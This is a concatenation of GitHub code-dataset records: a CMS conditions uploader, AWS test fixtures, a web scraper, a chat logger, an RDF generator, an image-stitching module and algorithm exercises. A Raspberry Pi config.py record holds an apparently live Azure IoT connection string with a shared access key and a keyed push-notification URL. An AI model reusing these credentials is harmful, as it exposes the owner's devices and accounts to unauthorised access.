True\n\t\telse:\n\t\t\tself._outputter.write(\"Sending payloads of hashes not found:\")\n\t\t\t# construct connection string for local SQLite database file\n\t\t\tdatabase = (\"sqlite://%s\" % os.path.abspath(self.sqlite_file_name)) if type(self.sqlite_file_name) == str else self.sqlite_file_name\n\t\t\t# create CondDBFW connection that maps blobs - as we need to query for payload BLOBs (disabled by default in CondDBFW)\n\t\t\tself._outputter.write(\"\\tConnecting to input SQLite database.\")\n\t\t\tcon = querying.connect(database, map_blobs=True)\n\n\t\t\t# query for the Payloads\n\t\t\tself._outputter.write(\"\\tGetting Payloads from SQLite database based on list of hashes.\")\n\t\t\tbyte_hashes = [bytes(h, 'utf-8') for h in hashes]\n\t\t\tpayloads = con.payload(hash=byte_hashes)\n\t\t\t# if we get a single Payload back, put it in a list and turn it into a json_list\n\t\t\tif payloads and payloads.__class__ != data_sources.json_list:\n\t\t\t\tpayloads = data_sources.json_data_node.make([payloads])\n\n\t\t\t# close the session with the SQLite database file - we won't use it again\n\t\t\tcon.close_session()\n\n\t\t\t# if found some Payloads, send them\n\t\t\tif payloads:\n\t\t\t\t# Note: there is an edge case in which the SQLite file could have been queried\n\t\t\t\t# to delete the Payloads since we queried it for IOV hashes. This may be handled in the next iteration.\n\t\t\t\t# send http post with data blob in body, and everything else as URL parameters\n\t\t\t\t# convert Payload to a dictionary - we can put most of this into the URL of the HTTPs request\n\t\t\t\tdicts = payloads.as_dicts()\n\t\t\t\tself._outputter.write(\"Uploading Payload BLOBs:\")\n\n\t\t\t\t# for each payload, send the BLOB to the server\n\t\t\t\tfor n, payload in enumerate(dicts):\n\t\t\t\t\tself._outputter.write(\"\\t(%d/%d) Sending payload with hash '%s'.\" % (n+1, len(dicts), payload[\"hash\"]))\n\t\t\t\t\tresponse = self.send_blob(payload, upload_session_id)\n\t\t\t\t\t# check response for errors\n\t\t\t\t\tno_error = self.check_response_for_error_key(response, exit_if_error=True)\n\t\t\t\t\tif not(no_error):\n\t\t\t\t\t\treturn False\n\t\t\t\t\tself._outputter.write(\"\\tPayload sent - moving to next one.\")\n\t\t\t\tself._outputter.write(\"All Payloads uploaded.\")\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\n\t@check_response(check=\"json\")\n\tdef send_blob(self, payload, upload_session_id):\n\t\t\"\"\"\n\t\tSend the BLOB of a payload over HTTP.\n\t\tThe BLOB is put in the request body, so no additional processing has to be done on the server side, apart from decoding from base64.\n\t\t\"\"\"\n\t\t# encode the BLOB data of the Payload to make sure we don't send a character that will influence the HTTPs request\n\t\tblob_data = base64.b64encode(payload[\"data\"])\n\n\t\turl_data = {\"database\" : self.data_to_send[\"destinationDatabase\"], \"upload_session_id\" : upload_session_id}\n\n\t\t# construct the data to send in the body and header of the HTTPs request\n\t\tfor key in list(payload.keys()):\n\t\t\t# skip blob\n\t\t\tif key != \"data\":\n\t\t\t\tif key == \"insertion_time\":\n\t\t\t\t\turl_data[key] = to_timestamp(payload[key])\n\t\t\t\telse:\n\t\t\t\t\turl_data[key] = payload[key]\n\n\t\trequest = url_query(url=self._SERVICE_URL + \"store_payload/\", url_data=url_data, body=blob_data)\n\n\t\t# send the request and return the response\n\t\t# Note - the url_query module will handle retries, and will throw a NoMoreRetriesException if it runs out\n\t\ttry:\n\t\t\trequest_response = request.send()\n\t\t\treturn request_response\n\t\texcept Exception as e:\n\t\t\t# make sure we don't try again - if a NoMoreRetriesException has been thrown, retries have run out\n\t\t\tif type(e) == errors.NoMoreRetriesException:\n\t\t\t\tself._outputter.write(\"\\t\\t\\tPayload with hash '%s' was not uploaded because the maximum number of retries was exceeded.\" % payload[\"hash\"])\n\t\t\t\tself._outputter.write(\"Payload with hash '%s' was not uploaded because the maximum number of retries was exceeded.\" % payload[\"hash\"])\n\t\t\treturn json.dumps({\"error\" : str(e), \"traceback\" : traceback.format_exc()})\n\n\t@check_response(check=\"json\")\n\tdef send_metadata(self, upload_session_id):\n\t\t\"\"\"\n\t\tFinal part of the upload process - send the Conditions metadata (Tag, IOVs - not upload metadata).\n\t\tThe server closes the session (and releases the tag lock) after processing has been completed.\n\t\t\"\"\"\n\n\t\t# set user text if it's empty\n\t\tif self.data_to_send[\"userText\"] in [\"\", None]:\n\t\t\tself.data_to_send[\"userText\"] = \"Tag '%s' uploaded from CondDBFW client.\" % list(self.data_to_send[\"destinationTags\"].keys())[0]\n\n\t\tself._outputter.write(\"Sending metadata to server - see server_side_log at server_side_logs/upload_log_%s for details on metadata processing on server side.\"\\\n\t\t\t\t\t\t\t% self.upload_session_id)\n\n\t\t# sent the HTTPs request to the server\n\t\turl_data = {\"database\" : self.data_to_send[\"destinationDatabase\"], \"upload_session_id\" : upload_session_id, \"tier0_response\" : self.data_to_send.get(\"tier0_response\")}\n\t\trequest = url_query(url=self._SERVICE_URL + \"upload_metadata/\", url_data=url_data, body=json.dumps(self.data_to_send))\n\t\tresponse = request.send()\n\t\tself._outputter.write(\"Response received - conditions upload process complete.\")\n\t\treturn response\n\nif __name__ == \"__main__\":\n\t\"\"\"\n\tThis code should only be executed for testing.\n\t\"\"\"\n\timport sys\n\tfrom .uploadConditions import parse_arguments\n\n\tprint(\n\"\"\"\nThis code should only be executed for testing.\nAny uploads done by the user should be done by calling the uploadConditions.py script.\nSee https://cms-conddb-dev.cern.ch/cmsDbCondUpload for information on how to obtain the correct version.\n\"\"\"\n\t)\n\n\tupload_metadata = parse_arguments()\n\n\tupload_metadata[\"sqlite_file\"] = upload_metadata.get(\"sourceDB\")\n\n\t# make new dictionary, and copy over everything except \"metadata_source\"\n\tupload_metadata_argument = {}\n\tfor (key, value) in list(upload_metadata.items()):\n\t\tif key != \"metadata_source\":\n\t\t\tupload_metadata_argument[key] = value\n\n\tupload_metadata[\"metadata_source\"] = data_sources.json_data_node.make(upload_metadata_argument)\n\n\tupload_controller = uploader(**upload_metadata)\n\n\tresult = upload_controller.upload()","repo_name":"cms-sw/cmssw","sub_path":"CondCore/Utilities/python/CondDBFW/uploads.py","file_name":"uploads.py","file_ext":"py","file_size_in_byte":34773,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"3539581311","text":"import pytest\nimport os\nimport boto3\n\n\nclass LambdaContext:\n def __init__(self):\n self.function_name = \"test\"\n self.function_version = \"$LATEST\"\n self.invoked_function_arn = (\n \"arn:aws:lambda:ap-northeast-1:123456789012:function:test\"\n )\n self.memory_limit_in_mb = 128\n self.aws_request_id = \"6748f6f8-cc75-14eb-e97b-20023a3a9277\"\n self.log_group_name = \"/aws/lambda/test\"\n self.log_stream_name = (\n \"2021/02/25/[$LATEST]97b9484a9204301be5ac034b952891b9\"\n )\n\n\n@pytest.fixture\ndef lambda_context():\n return LambdaContext()\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef init_ses():\n ses = boto3.client(\"ses\", endpoint_url=os.getenv(\"AWS_ENDPOINT_URL\"))\n ses.verify_email_identity(EmailAddress=\"sender@example.com\")\n yield\n ses.delete_identity(Identity=\"sender@example.com\")\n\n\n@pytest.fixture\ndef get_fixture_values(request):\n def _get_fixture(fixture):\n return request.getfixturevalue(fixture)\n\n return _get_fixture\n","repo_name":"aws-samples/cognito-custom-authentication","sub_path":"email-mfa-backend/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"50"} +{"seq_id":"8541840630","text":"import sqlite3\nimport os\n\ndef dbInit():\n if(not os.path.exists(\"db\")):\n os.mkdir(\"db\")\n if(not os.path.exists(\"db/log\")):\n os.mkdir(\"db/log\")\n\ndef writeLog(name, resp):\n\n if(resp.status != 200):\n with open(f\"db/{name}Log.txt\",'a',encoding='utf8') as fp:\n fp.write(f\"{resp.status}\\t{resp.url}\\t{resp.request.headers.get('Referer', None)}\\n\")\n else:\n with open(f\"db/{name}Success.txt\",'a',encoding='utf8') as fp:\n fp.write(f\"{resp.url}\\n\")\n\n\ndef initDB(name):\n connection = sqlite3.connect(f'db/{\"book\"}.db')\n cursor = connection.cursor()\n cursor.execute(f'''CREATE TABLE IF NOT EXISTS {name} (\n name TEXT, books TEXT, description TEXT, city TEXT, lastChage TEXT, url TEXT, urlBook TEXT, urlSite TEXT\n )''')\n connection.commit()\n cursor.close()\n\ndef dbADD(name, pub):\n connection = sqlite3.connect(f'db/{\"book\"}.db')\n cursor = connection.cursor()\n cursor.execute(f\"INSERT INTO {name} VALUES (?,?,?,?,?,?,?,?)\",\n (pub.name, pub.books, pub.description, pub.city, pub.lastChange, pub.url, pub.urlBook, pub.siteUrl))\n connection.commit()\n connection.close()","repo_name":"CaLink/Pub","sub_path":"LiveLibPub/spiders/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"15472160261","text":"from __future__ import annotations\n\ninput = [-1,2,1,-4]\n\n'''\ntarget = 1\noutput = 2 -1 + 2 + 1 # -4 1 2 -1 2\n\nalgorithm/brutal force:\nsort() for i, a if a == n[i -1] l, r i + 1, len(n) - 1\nif == tar: ret elif > else < min(abs(tar - t_sum), abs(tar - min_s))\nwhile n[l] == n[l - 1] l += 1\n'''\n\ndef ThreeSumClosest(nums: List[int], target: int) -> int:\n min_s = -999999\n nums = sorted(nums)\n for i, a in enumerate(nums):\n if i > 0 and a == nums[i - 1]:\n continue\n l, r = i + 1, len(nums) - 1\n while l < r:\n t_sum = a + nums[l] + nums[r]\n if t_sum == target:\n return t_sum\n # tar = 1 -1 2 1 2 -> 1 # -4 1 2 -1 -> 2\n elif abs(target - min_s) > abs(target - t_sum):\n min_s = t_sum\n elif t_sum < target:\n l += 1\n while nums[l] == nums[l - 1] and l < r:\n l += 1\n else:\n r -= 1\n\n return min_s\n\n\nprint(ThreeSumClosest(input, 1))\n\n\n\n\n\n\n\n# end\n","repo_name":"stella-vir/Basics","sub_path":"3sum_closest.py","file_name":"3sum_closest.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"26461240666","text":"# coding=utf-8\n\n# for语句可以循环访问任何的序列\nwords = ['apple', 'banana', 'orange']\nfor w in words:\n print(w)\n\n# 如果要在循环内修改正在迭代的序列,采用副本作为循环体,采用切片\nfor w in words[:]:\n if len(w) < 6:\n words.insert(0, w)\nprint(words)\n\n# 打印索引和值的两种方法\n# 1.采用range()和len()\nfor i in range(len(words)):\n print(i, words[i])\n# 2.采用enumerate() 函数\nfor i, v in enumerate(words):\n print(i, v)\n\n# 采用zip()可以同时便利两个或更多序列\nquestions = ['name', 'quest', 'favorite color']\nanswers = ['lancelot', 'the holy grail', 'blue']\nfor q, a in zip(questions, answers):\n print('What is your {0}? It is {1}.'.format(q, a))\n\n# 反向遍历一个序列\nfor i in reversed(range(1, 10, 2)):\n print(i)\n\n# 与循环一起使用的 else 子句更类似于 try 语句的 else 子句而不是 if 语句的 else 子句:\n# try语句的else子句在没有任何异常发生时运行,而循环的else子句在没有break发生时运行。\nfor n in range(2, 10):\n for x in range(2, n):\n if n % x == 0:\n print(n, 'equals', x, '*', n//x)\n break\n else:\n # loop fell through without finding a factor\n print(n, 'is a prime number')\n","repo_name":"youlanstudio/Study","sub_path":"Python/control_flow.py","file_name":"control_flow.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"12333869152","text":"\"\"\"\nCreator\n\nThis module is needed to iterate over all the entities.\n\"\"\"\nfrom pathlib import Path\nfrom dataclasses import dataclass, field\nimport time\nimport os\nfrom typing import Union\n# from multiprocessing import Pool\n\nfrom pyshacl import validate\nfrom rdflib import Graph, OWL\nfrom rdf_creator.triple import Triple\nfrom rdf_creator.db_table import DBTable\nfrom rdf_creator.lu_dictionary import LookUpDictionary\nfrom rdf_creator.reader import get_config\nfrom logdecoratorandhandler.log_decorator import LogDecorator\nfrom _paths import PATH_ROOT, OUTPUT_PATH, INPUT_PATH\n\n\nclass FileNotWrittenError(Exception):\n pass\n\n\n@dataclass\nclass Creator:\n \"\"\"\n Class for creation of the ttl files.\n\n For creating a concept (class) one needs\n - a graph,\n - bind the namespace to it,\n - iterate over the table from database and\n - add values as triple (s, p, o) to the graph.\n \"\"\"\n patient: str\n project: str\n input_files: tuple\n data: Union\n project_graph: Graph\n shacl_graph: Graph = field(default=None)\n sphn_graph: Graph = field(init=False)\n\n def __post_init__(self) -> None:\n \"\"\"\n Initialise graph.\n \"\"\"\n self.sphn_graph = self.create_graph()\n\n def create_graph(self) -> Graph:\n \"\"\"\n Creates the graph for the ontology (input graph). Add as many ontologies as needed.\n \"\"\"\n sphn_g = Graph()\n for file in self.input_files:\n sphn_g.parse(os.fspath(file), format='ttl')\n\n for key, val in self.data['namespaces'].items():\n sphn_g.bind(key, val)\n return sphn_g\n\n @LogDecorator('INFO - prepare rdf')\n def prepare_rdf(self, entity: str) -> None:\n \"\"\"\n Creates RDF output file as ttl.-file of each concept = entity.\n \"\"\"\n ## DB table is read in chunks (much faster, when DB is large)\n db_table = DBTable(entity, self.project)\n # chunks = db_table.read_dwh_table() # was for concept-wise reading from db\n chunks = db_table.read_statement(self.patient)\n\n ## look up the range, concept name and rdf label in the mapping file\n lu_dict = LookUpDictionary(entity, self.project)\n look_up = lu_dict.look_up_dict()\n\n ## here starts the rdf generation\n triple = Triple(self.sphn_graph, self.data)\n\n ## for each concept a new graph is made and namespaces are bound\n ## if we want per patient, then the graph needs to be set global (per patient)\n entity_graph = Graph()\n # for key, val in self.data['namespaces'].items():\n # entity_graph.bind(key, val)\n # entity_graph.bind(\"owl\", OWL)\n\n ## iterate over each row of the DB of each concept and fill the graph\n for row in chunks.itertuples():\n entity_graph = triple.fill_graph(row, look_up, entity_graph)\n\n ## this is only needed for validation\n ## can also be used, if we want only one file\n self.project_graph += entity_graph\n for key, val in self.data['namespaces'].items():\n self.project_graph.bind(key, val)\n self.project_graph.bind(\"owl\", OWL)\n\n ## then the write needs to be outside and writes the project graph\n # self.write_rdf(entity_graph, entity, 0) # was for writing concept-wise\n print(f'{self.prepare_rdf.__name__} - {entity}: done')\n\n @LogDecorator('INFO - write turtle file')\n # def write_rdf(self, entity_graph: Graph, entity: str, idx: int) -> None:\n def write_rdf(self) -> None:\n \"\"\"\n Write RDF from output graph into a turtle file.\n \"\"\"\n try:\n ## make project folder, if it doesn't exist.\n directory = Path(OUTPUT_PATH/f'{self.project}/')\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n ## here the output path is specified and the turtle files are written\n # file = Path(OUTPUT_PATH/f'{self.project}/{self.project}_{entity}_{idx}.ttl') # concept-wise\n file = Path(OUTPUT_PATH/f'{self.project}/163_CHE-108.904.325_{self.patient}.ttl')\n # entity_graph.serialize(destination=os.fspath(file), format='turtle', type='utf8')\n self.project_graph.serialize(destination=os.fspath(file), format='turtle', type='utf8')\n # print(f'{self.write_rdf.__name__} - {entity}: done')\n print(f'{self.write_rdf.__name__} - {self.patient}: done')\n\n except (FileNotFoundError, FileExistsError, TypeError) as ex:\n # raise FileNotWrittenError(f'{self.write_rdf.__name__} - {entity}: not written!') from ex\n raise FileNotWrittenError(f'{self.write_rdf.__name__} - {self.patient}: not written!') from ex\n\n def validate_rdf(self):\n \"\"\"\n Only run this, when the data is not too big.\n Gives a text file with wrong concepts in the output folder.\n \"\"\"\n r = validate(self.project_graph,\n shacl_graph=self.shacl_graph,\n ont_graph=self.sphn_graph,\n inference='rdfs',\n abort_on_first=True,\n allow_infos=False,\n allow_warnings=False,\n meta_shacl=False,\n advanced=False,\n js=False,\n debug=False)\n conforms, results_graph, results_text = r\n\n with open(Path(OUTPUT_PATH/f'{self.project}/{self.patient}_validation.txt'), 'w') as f:\n print(results_text, file=f)\n\n\ndef run_creator(sphn_project: str, patient_list: list) -> None:\n \"\"\"\n Converts the data to RDF.\n\n - First, read in the mapping file of project (output of mapping) and ontology. Sphn ontology is the core.\n - Then, read in you configuration and run over your concepts.\n \"\"\"\n mapping_ttl = Path(OUTPUT_PATH/f'mapping_{sphn_project}.ttl')\n sphn_ontology_ttl = Path(INPUT_PATH/'sphn_ontology.ttl') # check your version!\n # ontology_ttl = Path(INPUT_PATH/f'{sphn_project}_ontology.ttl')\n\n ## Shacl graph for validation (not needed for turtle creation - uncomment if dataset gets too big)\n sg = Graph()\n sg.parse(Path(INPUT_PATH, 'shacl_2022-2.ttl'))\n project_graph = Graph()\n\n\n ## Input files are the mapping to usz label, the ontology of sphn and if exists, the one for the project\n input_files = (mapping_ttl, # contains the mapping to db of project\n sphn_ontology_ttl, # sphn ontology\n # ontology_ttl, # project ontology\n )\n\n ## The yaml file contains configuration, the list of concepts, the valuesets, namespaces and terminologies)\n data = get_config(Path(PATH_ROOT/'configuration.yaml'))\n\n ## entity == concept\n entities = data[sphn_project]['concepts']\n\n\n for patient in patient_list:\n creator = Creator(patient=patient,\n project=sphn_project,\n input_files=input_files,\n data=data,\n project_graph=project_graph,\n shacl_graph=sg,\n )\n for entity in entities:\n creator.prepare_rdf(entity)\n creator.write_rdf()\n creator.validate_rdf()\n\n ## uncomment for parallelisation\n # with Pool(processes=4) as pool:\n # pool.map(creator.prepare_rdf, entities)\n","repo_name":"barbara73/rdf_sphn","sub_path":"rdf_creator/creator.py","file_name":"creator.py","file_ext":"py","file_size_in_byte":7418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"37060935609","text":"import csv\nimport re\nimport pdb\nimport requests\nfrom lxml import etree\nimport json\nimport os\n\ndef validate(item): \n if item == None:\n item = ''\n if type(item) == int or type(item) == float:\n item = str(item)\n if type(item) == list:\n item = ' '.join(item)\n return item.replace(u'\\u2013', '-').encode('ascii', 'ignore').encode(\"utf8\").replace('\\t', '').replace('\\n', ' ').strip()\n\ndef eliminate_space(items):\n rets = []\n for item in items:\n item = validate(item)\n if item != '' and item != ':':\n rets.append(item)\n return rets\n\ndef get_index(val, arr):\n for idx, item in enumerate(arr):\n if val == item:\n return idx\n return 0\n\ndef scrape():\n output_list = []\n session = requests.Session()\n file_name = os.path.dirname(os.path.realpath(__file__)).split('/')[-1] + '.csv'\n with open(file_name, mode='w') as output_file:\n writer = csv.writer(output_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_ALL)\n writer.writerow([\"School\", \"Sports\", \"Position\", \"Name\", \"Email\"])\n url = \"https://www.uhsaa.org/directory\"\n source = session.get(url).text\n response = etree.HTML(source)\n schools = response.xpath('.//div[@class=\"portfolio-item\"]')\n for school in schools:\n s_url = validate(school.xpath('.//a[@class=\"thumb-info\"]/@href'))\n s_response = etree.HTML(session.get(s_url).text)\n if s_response is not None:\n school_name = validate(school.xpath('.//h4//text()'))\n tables = s_response.xpath('.//div[@class=\"main\"]//div[@class=\"container\"]/div/div[@class=\"col-md-8\"]/div')\n if len(tables) > 0:\n events = tables[0].xpath('.//tbody//tr')\n for event in events:\n tds = event.xpath('.//td')\n output = [\n school_name,\n validate(tds[0].xpath('.//text()')).replace(':', ''),\n \"\",\n validate(tds[1].xpath('.//text()')),\n validate(tds[1].xpath('.//a/@href')).replace('mailto:', ''),\n ] \n writer.writerow(output)\nscrape()\n","repo_name":"coralisland-git/Coach-Scraper","sub_path":"phase_1/uhsaa_org/scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"29509936017","text":"MESSAGE_TIMESPAN = 2000\nMESSAGE_TIMEOUT = 10000\nMESSAGE_SWITCH = False\nFAN_SWITCH = False\nTIMEOUT = 241000\nSIMULATED_DATA = False\nI2C_ADDRESS = 0x77\nGPIO_PIN_ADDRESS = 24\nGPIO_FAN_ADDRESS = 23\nBLINK_TIMESPAN = 1000\nTEMPERATURE_ALERT = 30\nTEMPERATURE_EMERGENCY = 40\nWECHATMESSAGE_STRING=\"https://sc.ftqq.com/SCU24427Ta543f1d5bec4681a4e437877374ae1605ac9a9f0e79d0.send\"\nCONNECTION_STRING = \"HostName=raspiberry.azure-devices.net;DeviceId=Raspi;SharedAccessKey=KAJylaT8DaFESHBQkYBbY09bCU1KX6etwFt0jjID+NI=\"\n","repo_name":"zpskt/IoTRaspi","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"43036073778","text":"from datetime import datetime\nimport json\n\nfrom ..chatdb import ChatDB\n\nimport pika\nfrom loguru import logger\n\n\nclass MSGListener():\n\n def __init__(self):\n self.connection = pika.BlockingConnection(\n pika.ConnectionParameters(host='localhost'))\n self.channel = self.connection.channel()\n self.queue_name = 'chat_events'\n\n self.channel.queue_declare(queue=self.queue_name)\n\n self.channel.basic_consume(\n queue=self.queue_name, \n on_message_callback=self.callback, \n auto_ack=True)\n self.db = ChatDB()\n\n def callback(self, ch, method, properties, body):\n body = json.loads(body)\n log_record = self.db.add_chatlog(\n datetime.fromtimestamp(float(body['time'])),\n body['username'],\n body['action_type'],\n body['payload'])\n self.db.commit()\n logger.info(f'Saved: {log_record}')\n\n def start(self):\n logger.info('Message listener started')\n self.channel.start_consuming()","repo_name":"alexandr-gnrk/asychat","sub_path":"app/msg_listener/msg_listener.py","file_name":"msg_listener.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"50"} +{"seq_id":"24472978268","text":"import pandas as pd\nimport xml.etree.ElementTree as ET\n\n# Load Excel file into a Pandas DataFrame\nexcel_filepan = pd.ExcelFile('your_excel_file.xlsx')\n\n# Define the XML root element\nroot = ET.Element('root')\n\n# Iterate through each sheet and create XML elements\nfor sheet_name in excel_filepan.sheet_names:\n sheet_data = excel_filepan.parse(sheet_name)\n \n for _, row in sheet_data.iterrows():\n # Create a new element based on sheet name\n if sheet_name == 'Residente_PNatural':\n element = ET.SubElement(root, 'personaNaturalResidente')\n elif sheet_name == 'Residente_PJuridica':\n element = ET.SubElement(root, 'personaJuridicaResidente')\n elif sheet_name == 'Residente_SinPJuridica':\n element = ET.SubElement(root, 'personaSinPJuridica')\n elif sheet_name == 'Residente_SinNaturaleza':\n element = ET.SubElement(root, 'personaSinNaturaleza')\n elif sheet_name == 'NoResidente':\n element = ET.SubElement(root, 'noResidente')\n elif sheet_name == 'NoResidenteDeuda':\n element = ET.SubElement(root, 'noResidenteDeuda')\n \n # Add child elements based on column names\n for column_name, value in row.items():\n child_element = ET.SubElement(element, column_name)\n child_element.text = str(value)\n\n# Create an ElementTree object and write to an XML file\ntree = ET.ElementTree(root)\ntree.write('output.xml', encoding='UTF-8', xml_declaration=True)\n","repo_name":"Mateo-Olaya/XmlConversorBanrep","sub_path":"xmlcomec/xmlconversor.py","file_name":"xmlconversor.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"39621401310","text":"from rest_framework import serializers\nfrom . import models\n\n\nclass PostSerializer(serializers.ModelSerializer):\n class Meta:\n fields = (\n 'username', \n 'postContent', \n 'feedUploaderId',\n 'postID' ,\n 'userThumbnail' ,\n # postImage ,\n 'amount' ,\n 'userContacts' ,\n 'email' ,\n 'postalCode' ,\n 'shopUrl' ,\n 'address' ,\n 'shopLocation' ,\n 'shop' ,\n 'birthday' ,\n 'postTimeStamp' ,\n 'postImage' ,\n 'postCommentCount',\n 'postLikeCount' ,\n 'mediaType' ,\n 'isPayable'\n )\n model = models.Posts\n","repo_name":"wechulimaven/maberrServer","sub_path":"feedsAPI/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32162717293","text":"from algo import get_padding_transform, gpu_get_padding_transform, gpu_merge_image\nfrom typing import List\nfrom frame import FrameInterface, Frame, GpuFrame\nimport cv2 as cv\nimport numpy as np\nimport debug\nfrom loguru import logger\nimport copy\n\nmatcher = cv.BFMatcher()\n# matcher = cv.cuda.DescriptorMatcher_createBFMatcher()\n\n\ndef get_residual(src, dst, inner, M):\n A = M[:, 0:2]\n t = M[:, 2]\n\n losts = []\n assert(len(src) == len(dst))\n assert(len(inner) == len(dst))\n\n for i in range(len(src)):\n if inner[i, 0] != 1:\n continue\n src_pt = src[i]\n dst_pt = dst[i]\n pt = np.dot(A, src_pt) + t - dst_pt\n error = pt[0] * pt[0] + pt[1] * pt[1]\n losts.append(error)\n \n return sum(losts) / len(losts)\n \n\nclass FrameSequenceInterface(FrameInterface):\n def __init__(self):\n super.__init__(self)\n\n def add_frame(self, frame, max_residual=3):\n pass\n\nclass CpuFrameSequence(FrameSequenceInterface):\n def __init__(self):\n FrameInterface.__init__(self)\n self.m_frame_list: List[Frame] = []\n def clear_cache(self):\n for f in self.m_frame_list:\n f.clear_cache()\n return super().clear_cache()\n\n def __estimate_rigid_transform(self, frame:Frame, max_residual):\n list = self.m_frame_list\n frame1 = list[-1]\n frame2 = frame\n\n kp1, desc1 = frame1.get_kp(), frame1.get_kp_description()\n kp2, desc2 = frame2.get_kp(), frame2.get_kp_description()\n\n if desc1 is None or desc2 is None:\n return None\n \n matcher = cv.BFMatcher()\n # matcher = cv.cuda.DescriptorMatcher_createBFMatcher()\n matches = matcher.knnMatch(desc2, desc1, k=2)\n\n # good = []\n # for m, n in matches:\n # if m.distance < match_ratio * n.distance:\n # good.append(m)\n good = [m for m, n in matches]\n\n src_pts = np.float32([kp2[m.queryIdx].pt for m in good])\n dst_pts = np.float32([kp1[m.trainIdx].pt for m in good])\n\n if len(src_pts) == 0 or len(dst_pts) == 0:\n return None\n\n src_pts = src_pts.reshape((-1, 2))\n dst_pts = dst_pts.reshape((-1, 2))\n\n rigid_m, _ = cv.estimateAffinePartial2D(src_pts, dst_pts)\n\n residual = get_residual(src_pts, dst_pts, rigid_m)\n\n if residual >= max_residual:\n return None\n return rigid_m\n\n def add_frame(self, frame: Frame, match_ratio=0.6, max_residual=3):\n list = self.m_frame_list\n\n if len(list) == 0:\n list.append(frame)\n return True\n\n # else:\n rigid_m = self.__estimate_rigid_transform(frame, max_residual)\n\n R1, _, T = cv.decomposeEssentialMat(rigid_m)\n\n rotation = list[-1].get_R()\n transfer = list[-1].get_T()\n rotation = np.dot(R1, rotation)\n transfer = T + transfer\n frame.set_R(rotation)\n frame.set_T(transfer)\n list.append(frame)\n return True\n\nclass GpuFrameSequence(FrameSequenceInterface):\n def __init__(self):\n FrameInterface.__init__(self)\n self.m_frame_list: List[GpuFrame] = []\n\n def add_frame(self, frame: GpuFrame, max_residual=3):\n list = self.m_frame_list\n\n if (len(list) == 0):\n list.append(frame)\n return True\n \n last_frame = list[-1]\n rigid_m = self.__estimate_rigid_transform(last_frame, frame, max_residual)\n\n if True:\n origin = last_frame.get_gpu_img()\n target = frame.get_gpu_img()\n\n target = cv.cuda.warpAffine(target, rigid_m[0:2, :], target.size())\n img = gpu_merge_image(origin, target)\n img = img.download()\n debug.display('merge', img)\n\n\n if rigid_m is None:\n return False\n\n # 通常来讲上一帧只需要和当前帧做匹配,所以这里就可以gpu缓存了\n # 当前帧的不进行清除,gpu缓存留到下一帧\n last_frame.clear_cache()\n\n # 更新当前frame的投影矩阵\n M = np.dot(last_frame.get_M(), rigid_m)\n frame.set_M(M)\n\n # 添加到列表\n list.append(frame)\n return True\n\n def __estimate_rigid_transform(self, frame1:GpuFrame, frame2:GpuFrame, max_residual):\n '''\n 获取两帧之间的刚性变换矩阵\n\n frame1, frame2 Frame\n max_residual 最大残差(平均到每个特侦点)\n '''\n kp1, desc1 = frame1.get_kp(), frame1.get_gpu_kp_description()\n kp2, desc2 = frame2.get_kp(), frame2.get_gpu_kp_description()\n\n if desc1 is None or desc2 is None:\n return None\n \n matcher = cv.cuda.DescriptorMatcher_createBFMatcher()\n matches = matcher.knnMatch(desc2, desc1, k=2)\n\n match_ratio = 0.55\n good = []\n for m, n in matches:\n if m.distance < match_ratio * n.distance:\n good.append(m)\n # good = [m for m, n in matches]\n\n src_pts = np.float32([kp2[m.queryIdx].pt for m in good])\n dst_pts = np.float32([kp1[m.trainIdx].pt for m in good])\n\n\n if len(src_pts) == 0 or len(dst_pts) == 0:\n return None\n\n rigid_m, inner = cv.estimateAffinePartial2D(src_pts, dst_pts)\n residual = get_residual(src_pts, dst_pts, inner, rigid_m)\n logger.debug(\"inner pts:{}, redisual:{}\".format(sum(inner[:, 0]), residual))\n if residual >= max_residual:\n return None\n\n rigid_m = np.vstack([rigid_m, [0, 0, 1]])\n return rigid_m","repo_name":"savent404/pysticher","sub_path":"frameSequence.py","file_name":"frameSequence.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17453657419","text":"\n\ndef update_components(components, old_id, new_id):\n for i in range(len(components)):\n if components[i] == old_id:\n components[i] = new_id\n\n#despues de la primera iteracion 1-3\n#components = [0, 3, 2, 3, 4, 5, 6, 7]\n#despues de la segunda iteracion 4-5\n#components = [0, 3, 2, 3, 5, 5, 6, 7]\n#despues de la tercera iteracion\n#components = [0,5, 2,\n\n\n\ndef kruskal(g):\n\n #components = [0,1,2, ... 7]\n components =list(range(len(g)))\n count = len(g) - 1 #número de componentes conexas\n mst = 0\n\n list_edges = []\n for adjacents in g:\n for start, end, weight in adjacents:\n if start < end:\n list_edges.append((weight, start,end))\n 